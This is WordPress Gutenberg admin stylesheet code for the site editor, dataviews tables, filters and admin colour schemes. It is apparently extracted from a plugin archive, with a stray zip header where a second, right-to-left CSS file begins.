.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{
  opacity:1;
}
.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:0;
}
.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:1;
}
@media (hover:none){
  .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
    opacity:1;
  }
}
.dataviews-view-table tr.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#757575;
}
.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-table tr.is-selected:hover{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-table thead{
  inset-block-start:0;
  position:sticky;
  z-index:1;
}
.dataviews-view-table thead tr{
  border:0;
}
.dataviews-view-table thead th{
  background-color:#fff;
  font-size:11px;
  font-weight:500;
  padding-bottom:8px;
  padding-left:12px;
  padding-top:8px;
  text-transform:uppercase;
}
.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-left:4px;
}
.dataviews-view-table tbody td{
  vertical-align:top;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{
  align-items:center;
  display:flex;
  min-height:32px;
}
.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){
  min-height:0;
}
.dataviews-view-table .dataviews-view-table-header-button{
  font-size:11px;
  font-weight:500;
  padding:4px 8px;
  text-transform:uppercase;
}
.dataviews-view-table .dataviews-view-table-header-button:not(:hover){
  color:#1e1e1e;
}
.dataviews-view-table .dataviews-view-table-header-button span{
  speak:none;
}
.dataviews-view-table .dataviews-view-table-header-button span:empty{
  display:none;
}
.dataviews-view-table .dataviews-view-table-header{
  padding-left:4px;
}
.dataviews-view-table .dataviews-view-table__actions-column{
  width:1%;
}
.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{
  opacity:1;
}
.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-left:0;
}
.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{
  padding:4px 8px;
}
.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{
  padding:16px 12px;
}
.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{
  padding-right:0;
}

@container (max-width: 430px){
  .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
    padding-left:24px;
  }
  .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
    padding-right:24px;
  }
}
.dataviews-view-table-selection-checkbox{
  --checkbox-input-size:24px;
}
@media (min-width:600px){
  .dataviews-view-table-selection-checkbox{
    --checkbox-input-size:16px;
  }
}

.dataviews-column-primary__media{
  max-width:60px;
}

.dataviews-controls__datetime{
  border:none;
  padding:0;
}

.dataforms-layouts-panel__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-panel__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-panel__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}
.dataforms-layouts-panel__field-control .components-button{
  max-width:100%;
  min-height:32px;
  text-align:left;
  text-wrap:balance;
  text-wrap:pretty;
  white-space:normal;
}
.dataforms-layouts-panel__field-control .components-dropdown{
  max-width:100%;
}

.dataforms-layouts-panel__field-dropdown .components-popover__content{
  min-width:320px;
  padding:16px;
}

.dataforms-layouts-panel__dropdown-header{
  margin-bottom:16px;
}

.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{
  z-index:159990;
}

.dataforms-layouts-regular__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-regular__field .components-base-control__label{
  font-size:inherit;
  font-weight:400;
  text-transform:none;
}

.dataforms-layouts-regular__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-regular__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}

.edit-site-layout{
  color:#ccc;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{
  background:#1e1e1e;
}

.edit-site-layout__content{
  display:flex;
  flex-grow:1;
  height:100%;
}

.edit-site-layout__sidebar-region{
  flex-shrink:0;
  width:100vw;
  z-index:1;
}
@media (min-width:782px){
  .edit-site-layout__sidebar-region{
    width:300px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{
  height:100vh;
  left:0;
  position:fixed !important;
  top:0;
}
.edit-site-layout__sidebar-region .edit-site-layout__sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout__sidebar-region .resizable-editor__drag-handle{
  right:0;
}

.edit-site-layout__main{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}

.edit-site-layout__mobile{
  display:flex;
  flex-direction:column;
  position:relative;
  width:100%;
  z-index:2;
}
.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{
  padding:0;
}
.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{
  padding:0 12px;
}

.edit-site-layout__canvas-container{
  flex-grow:1;
  overflow:visible;
  position:relative;
  z-index:2;
}
.edit-site-layout__canvas-container.is-resizing:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100;
}

.edit-site-layout__canvas{
  align-items:center;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.edit-site-layout__canvas.is-right-aligned{
  justify-content:flex-end;
}
.edit-site-layout__canvas .edit-site-resizable-frame__inner{
  color:#1e1e1e;
}
@media (min-width:782px){
  .edit-site-layout__canvas{
    bottom:16px;
    top:16px;
    width:calc(100% - 16px);
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
    overflow:hidden;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    transition:border-radius,box-shadow .4s;
  }
}
@media (min-width:782px){
  .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    border-radius:8px;
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{
    box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas{
  bottom:0;
  top:0;
  width:100%;
}

.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{
  min-height:100% !important;
  position:relative !important;
}

.edit-site-template-pages-preview{
  height:100%;
}
html.canvas-mode-edit-transition::view-transition-group(toggle){
  animation-delay:255ms;
}

@media (prefers-reduced-motion){
  ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){
    animation:none !important;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{
  display:none;
}

.edit-site-layout__view-mode-toggle.components-button{
  view-transition-name:toggle;
  align-items:center;
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:flex;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding:0;
  position:relative;
  width:60px;
}
.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{
  color:#fff;
}
.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{
  box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color);
  outline:4px solid #0000;
  outline-offset:4px;
}
.edit-site-layout__view-mode-toggle.components-button:before{
  border-radius:4px;
  bottom:9px;
  box-shadow:none;
  content:"";
  display:block;
  left:9px;
  position:absolute;
  right:9px;
  top:9px;
}
@media not (prefers-reduced-motion){
  .edit-site-layout__view-mode-toggle.components-button:before{
    transition:box-shadow .1s ease;
  }
}
.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{
  align-items:center;
  display:flex;
  height:60px;
  justify-content:center;
  width:60px;
}

.edit-site-layout__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:280px;
  z-index:100000;
}
.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{
  bottom:0;
  top:auto;
}
.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{
  top:0;
}
@media (min-width:782px){
  .edit-site-layout__actions{
    border-left:1px solid #ddd;
  }
}

.edit-site-layout__area{
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  flex-grow:1;
  margin:0;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-layout__area{
    border-radius:8px;
    margin:16px 16px 16px 0;
  }
}

.edit-site .components-editor-notices__snackbar{
  bottom:16px;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}

.edit-site-page{
  background:#fff;
  color:#2f2f2f;
  container:edit-site-page/inline-size;
  height:100%;
}
@media not (prefers-reduced-motion){
  .edit-site-page{
    transition:width .2s ease-out;
  }
}

.edit-site-page-header{
  background:#fff;
  border-bottom:1px solid #f0f0f0;
  padding:16px 48px;
  position:sticky;
  top:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .edit-site-page-header{
    transition:padding .1s ease-out;
  }
}
.edit-site-page-header .components-heading{
  color:#1e1e1e;
}
.edit-site-page-header .edit-site-page-header__page-title{
  min-height:40px;
}
.edit-site-page-header .edit-site-page-header__page-title .components-heading{
  flex-basis:0;
  flex-grow:1;
  white-space:nowrap;
}
.edit-site-page-header .edit-site-page-header__sub-title{
  margin-bottom:8px;
}

@container (max-width: 430px){
  .edit-site-page-header{
    padding:16px 24px;
  }
}
.edit-site-page-content{
  display:flex;
  flex-flow:column;
  height:100%;
  position:relative;
  z-index:1;
}

.edit-site-save-hub{
  border-top:1px solid #2f2f2f;
  color:#949494;
  flex-shrink:0;
  margin:0;
  padding:16px;
}

.edit-site-save-hub__button{
  color:inherit;
  justify-content:center;
  width:100%;
}
.edit-site-save-hub__button[aria-disabled=true]{
  opacity:1;
}
.edit-site-save-hub__button[aria-disabled=true]:hover{
  color:inherit;
}
.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{
  color:#1e1e1e;
}

@media (min-width:600px){
  .edit-site-save-panel__modal{
    width:600px;
  }
}

.edit-site-sidebar__content{
  contain:content;
  flex-grow:1;
  overflow-x:hidden;
  overflow-y:auto;
}

@keyframes _fwjws_slide-from-right{
  0%{
    opacity:0;
    transform:translateX(50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
@keyframes _fwjws_slide-from-left{
  0%{
    opacity:0;
    transform:translateX(-50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
.edit-site-sidebar__screen-wrapper{
  animation-duration:.14s;
  animation-timing-function:ease-in-out;
  display:flex;
  flex-direction:column;
  height:100%;
  max-height:100%;
  overflow-x:auto;
  padding:0 12px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:stable;
  scrollbar-width:thin;
  will-change:transform;
  will-change:transform, opacity;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{
  background-color:initial;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{
  background-color:#757575;
}
.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{
  scrollbar-color:#757575 #0000;
}
@media (hover:none){
  .edit-site-sidebar__screen-wrapper{
    scrollbar-color:#757575 #0000;
  }
}
@media (prefers-reduced-motion:reduce){
  .edit-site-sidebar__screen-wrapper{
    animation-duration:0s;
  }
}
.edit-site-sidebar__screen-wrapper.slide-from-left{
  animation-name:_fwjws_slide-from-left;
}
.edit-site-sidebar__screen-wrapper.slide-from-right{
  animation-name:_fwjws_slide-from-right;
}

.edit-site-site-hub{
  align-items:center;
  display:flex;
  gap:8px;
  height:60px;
  justify-content:space-between;
  margin-right:12px;
}

.edit-site-site-hub__actions{
  flex-shrink:0;
}

.edit-site-site-hub__view-mode-toggle-container{
  flex-shrink:0;
  height:60px;
  width:60px;
}
.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{
  background:#0000;
}

.edit-site-site-hub__title .components-button{
  color:#e0e0e0;
  display:block;
  flex-grow:1;
  font-size:15px;
  font-weight:500;
  margin-left:-4px;
  overflow:hidden;
  padding-right:16px;
  position:relative;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{
  color:#e0e0e0;
}
.edit-site-site-hub__title .components-button:focus{
  box-shadow:none;
  outline:none;
}
.edit-site-site-hub__title .components-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.edit-site-site-hub__title .components-button:after{
  content:"↗";
  font-weight:400;
  opacity:0;
  position:absolute;
  right:0;
}
@media not (prefers-reduced-motion){
  .edit-site-site-hub__title .components-button:after{
    transition:opacity .1s linear;
  }
}
.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{
  opacity:1;
}

.edit-site-site-hub_toggle-command-center{
  color:#e0e0e0;
}
.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{
  fill:#f0f0f0;
}

.edit-site-site-icon__icon{
  fill:currentColor;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{
  padding:12px;
}

.edit-site-site-icon__image{
  aspect-ratio:1/1;
  background:#333;
  height:100%;
  object-fit:cover;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__image{
  border-radius:0;
}

.edit-site-editor__view-mode-toggle button:focus{
  position:relative;
}
.edit-site-editor__view-mode-toggle button:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.edit-site-editor-canvas-container{
  background-color:#ddd;
  height:100%;
}
.edit-site-editor-canvas-container iframe{
  display:block;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{
  padding:24px 24px 0;
}

.edit-site-editor-canvas-container__section{
  background:#fff;
  border-radius:8px;
  bottom:0;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .edit-site-editor-canvas-container__section{
    transition:all .3s;
  }
}

.edit-site-editor-canvas-container__close-button{
  background:#fff;
  position:absolute;
  right:8px;
  top:8px;
  z-index:2;
}

.edit-site-post-list__featured-image{
  height:100%;
  object-fit:cover;
  width:100%;
}

.edit-site-post-list__featured-image-wrapper{
  border-radius:4px;
  height:100%;
  width:100%;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){
  background-color:#f0f0f0;
  border-radius:4px;
  display:block;
  flex-grow:0 !important;
  height:32px;
  overflow:hidden;
  position:relative;
  width:32px;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}

.edit-site-post-list__featured-image-button{
  background-color:unset;
  border:none;
  border-radius:4px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
  width:100%;
}
.edit-site-post-list__featured-image-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-site-post-list__status-icon{
  height:24px;
  width:24px;
}
.edit-site-post-list__status-icon svg{
  fill:currentColor;
  margin-left:-4px;
}

.edit-site-resizable-frame__inner{
  position:relative;
}
body:has(.edit-site-resizable-frame__inner.is-resizing){
  cursor:col-resize;
  user-select:none;
  -webkit-user-select:none;
}

.edit-site-resizable-frame__inner.is-resizing:before{
  content:"";
  inset:0;
  position:absolute;
  z-index:1;
}

.edit-site-resizable-frame__inner-content{
  inset:0;
  position:absolute;
  z-index:0;
}

.edit-site-resizable-frame__handle{
  align-items:center;
  background-color:#75757566;
  border:0;
  border-radius:4px;
  cursor:col-resize;
  display:flex;
  height:64px;
  justify-content:flex-end;
  padding:0;
  position:absolute;
  top:calc(50% - 32px);
  width:4px;
  z-index:100;
}
.edit-site-resizable-frame__handle:before{
  content:"";
  height:100%;
  left:100%;
  position:absolute;
  width:32px;
}
.edit-site-resizable-frame__handle:after{
  content:"";
  height:100%;
  position:absolute;
  right:100%;
  width:32px;
}
.edit-site-resizable-frame__handle:focus-visible{
  outline:2px solid #0000;
}
.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{
  background-color:var(--wp-admin-theme-color);
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}

#adminmenumain,#wpadminbar{
  display:none;
}

#wpcontent{
  margin-left:0;
}

body.js #wpbody{
  padding-top:0;
}

body{
  background:#fff;
}
body #wpcontent{
  padding-left:0;
}
body #wpbody-content{
  padding-bottom:0;
}
body #wpbody-content>div:not(#gutenberg-posts-dashboard):not(#screen-meta),body #wpfooter{
  display:none;
}
body .a11y-speak-region{
  left:-1px;
  top:-1px;
}
body ul#adminmenu a.wp-has-current-submenu:after,body ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

#gutenberg-posts-dashboard{
  box-sizing:border-box;
  height:100vh;
}
#gutenberg-posts-dashboard *,#gutenberg-posts-dashboard :after,#gutenberg-posts-dashboard :before{
  box-sizing:inherit;
}
@media (min-width:600px){
  #gutenberg-posts-dashboard{
    bottom:0;
    left:0;
    min-height:100vh;
    position:fixed;
    right:0;
    top:0;
  }
}
.no-js #gutenberg-posts-dashboard{
  min-height:0;
  position:static;
}
#gutenberg-posts-dashboard .components-editor-notices__snackbar{
  bottom:16px;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}PK1Xd[�<
.l�l�dist/edit-site/posts-rtl.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.dataviews-wrapper{
  box-sizing:border-box;
  container:dataviews-wrapper/inline-size;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:100%;
  line-height:1.4;
  overflow:auto;
  scroll-padding-bottom:64px;
}

.dataviews-filters__container,.dataviews__view-actions{
  box-sizing:border-box;
  flex-shrink:0;
  padding:16px 48px;
  position:sticky;
  right:0;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__container,.dataviews__view-actions{
    transition:padding .1s ease-out;
  }
}

.dataviews-loading,.dataviews-no-results{
  align-items:center;
  display:flex;
  flex-grow:1;
  justify-content:center;
  padding:0 48px;
}
@media not (prefers-reduced-motion){
  .dataviews-loading,.dataviews-no-results{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-filters__container,.dataviews__view-actions{
    padding:12px 24px;
  }
  .dataviews-loading,.dataviews-no-results{
    padding-left:24px;
    padding-right:24px;
  }
}
.dataviews-title-field{
  font-size:13px;
  font-weight:500;
  width:100%;
}
.dataviews-title-field,.dataviews-title-field a{
  color:#2f2f2f;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.dataviews-title-field a{
  display:block;
  flex-grow:0;
  overflow:hidden;
  text-decoration:none;
}
.dataviews-title-field a:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field a:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}
.dataviews-title-field button.components-button.is-link{
  color:#1e1e1e;
  display:block;
  font-weight:inherit;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-title-field button.components-button.is-link:hover{
  color:var(--wp-admin-theme-color);
}

.dataviews-title-field--clickable{
  color:#2f2f2f;
  cursor:pointer;
}
.dataviews-title-field--clickable:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field--clickable:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}

.dataviews-bulk-actions-footer__item-count{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.dataviews-bulk-actions-footer__container{
  margin-left:auto;
  min-height:32px;
}

.dataviews-filters__button{
  position:relative;
}

.dataviews-filters__container{
  padding-top:0;
}

.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{
  opacity:0;
}
.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{
  opacity:1;
}

.dataviews-filters__summary-popover{
  font-size:13px;
  line-height:1.4;
}
.dataviews-filters__summary-popover .components-popover__content{
  border-radius:4px;
  width:230px;
}
.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{
  padding:0;
}

.dataviews-filters__summary-operators-container{
  padding:8px 8px 0;
}
.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){
  border-bottom:1px solid #e0e0e0;
  padding-bottom:8px;
}
.dataviews-filters__summary-operators-container:empty{
  display:none;
}
.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{
  color:#757575;
}

.dataviews-filters__summary-chip-container{
  position:relative;
  white-space:pre-wrap;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{
  align-items:center;
  background:#f0f0f0;
  border:1px solid #0000;
  border-radius:16px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  display:flex;
  min-height:32px;
  padding:4px 12px;
  position:relative;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{
  padding-inline-end:28px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{
  background:#e0e0e0;
  color:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:var(--wp-admin-theme-color);
}
